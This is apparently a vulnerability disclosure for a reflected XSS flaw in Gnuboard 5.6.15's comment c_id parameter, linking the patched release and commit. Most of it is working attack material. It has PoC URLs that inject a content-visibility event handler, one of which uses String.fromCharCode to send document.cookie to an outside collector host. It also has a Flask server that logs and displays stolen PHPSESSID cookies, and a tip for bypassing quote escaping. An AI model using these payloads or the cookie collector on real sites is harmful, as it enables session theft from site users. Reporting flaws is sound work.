Gnboard 5.6.15 Open-source git address
https://github.com/gnuboard/gnuboard5
Patched Version: Gnuboard 5.6.16 https://sir.kr/g5_pds/7495
Patch history : https://github.com/gnuboard/gnuboard5/commit/002e43e5fb84b465357b445772c881e196e100d3
Reflected XSS occurred in the latest version of current reference Gnboard5 5.6.15.
If you have permission to write comments on a post after accessing the post, the vulnerability occurs through the c_id value among the hidden values required to write comments.
Below is the Attacking Proof Code (PoC) and can be tested by switching to ascii code using the String.fromCharCode function and specifying the domain you want.
PoC
[http://127.0.0.1:8081/bbs/board.php?bo_table=free&wr_id=1&c_id=1](<http://127.0.0.1:8081/bbs/board.php?bo_table=free&wr_id=1&c_id=1>)"style=content-visibility:auto%20oncontentvisibilityautostatechange=alert(/tetest/)//
[http://127.0.0.1:8081/bbs/board.php?bo_table=free&wr_id=1&c_id=1](<http://127.0.0.1:8081/bbs/board.php?bo_table=free&wr_id=1&c_id=1>)"style=content-visibility:auto%20oncontentvisibilityautostatechange=location.href=String.fromCharCode(104,116,116,112,115,58,47,47,121,112,119,109,108,118,105,46,114,101,113,117,101,115,116,46,100,114,101,97,109,104,97,99,107,46,103,97,109,101,115,47,116,63,99,61)%2Bdocument.cookie//
![]()
![]()

By default, when you log in, important cookies are set to HttpOnly and cannot be stolen by script, but you can steal them in other ways.
//cookie_taker.py
from flask import Flask, request, jsonify, render_template_string
import json
from datetime import datetime
app = Flask(__name__)
LOG_FILE = 'sessions.log'
# 클라이언트 PHPSESSID를 받아 JSON으로 반환하고 파일에 저장
@app.route('/get', methods=['GET'])
def get_session():
phpsessid = request.cookies.get('PHPSESSID')
response = {'PHPSESSID': phpsessid}
if phpsessid:
with open(LOG_FILE, 'a') as f:
log_entry = {
'timestamp': datetime.utcnow().isoformat(),
'PHPSESSID': phpsessid
}
f.write(json.dumps(log_entry) + '\\n')
return jsonify(response)
@app.route('/view', methods=['GET'])
def view_sessions():
try:
with open(LOG_FILE, 'r') as f:
lines = f.readlines()
sessions = [json.loads(line) for line in lines]
except FileNotFoundError:
sessions = []
html = '''
<html>
<head><title>Session Logs</title></head>
<body>
<h1>Saved PHPSESSID Logs</h1>
<table border="1" cellpadding="5">
<tr><th>Timestamp (UTC)</th><th>PHPSESSID</th></tr>
{% for s in sessions %}
<tr><td>{{ s.timestamp }}</td><td>{{ s.PHPSESSID }}</td></tr>
{% endfor %}
</table>
</body>
</html>
'''
return render_template_string(html, sessions=sessions)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=True)
If you open the web server with Python code above and access 'http://localhost:5000/get', you can save the cookie value as json data and go to 'http://localhost:5000/view' to see the value of the stolen cookie.
In addition, when entering “ and ' because of 'HTML Entity', it is converted into \\' and \\" to bypass 'String.fromCharCode', but it can be bypassed using ```.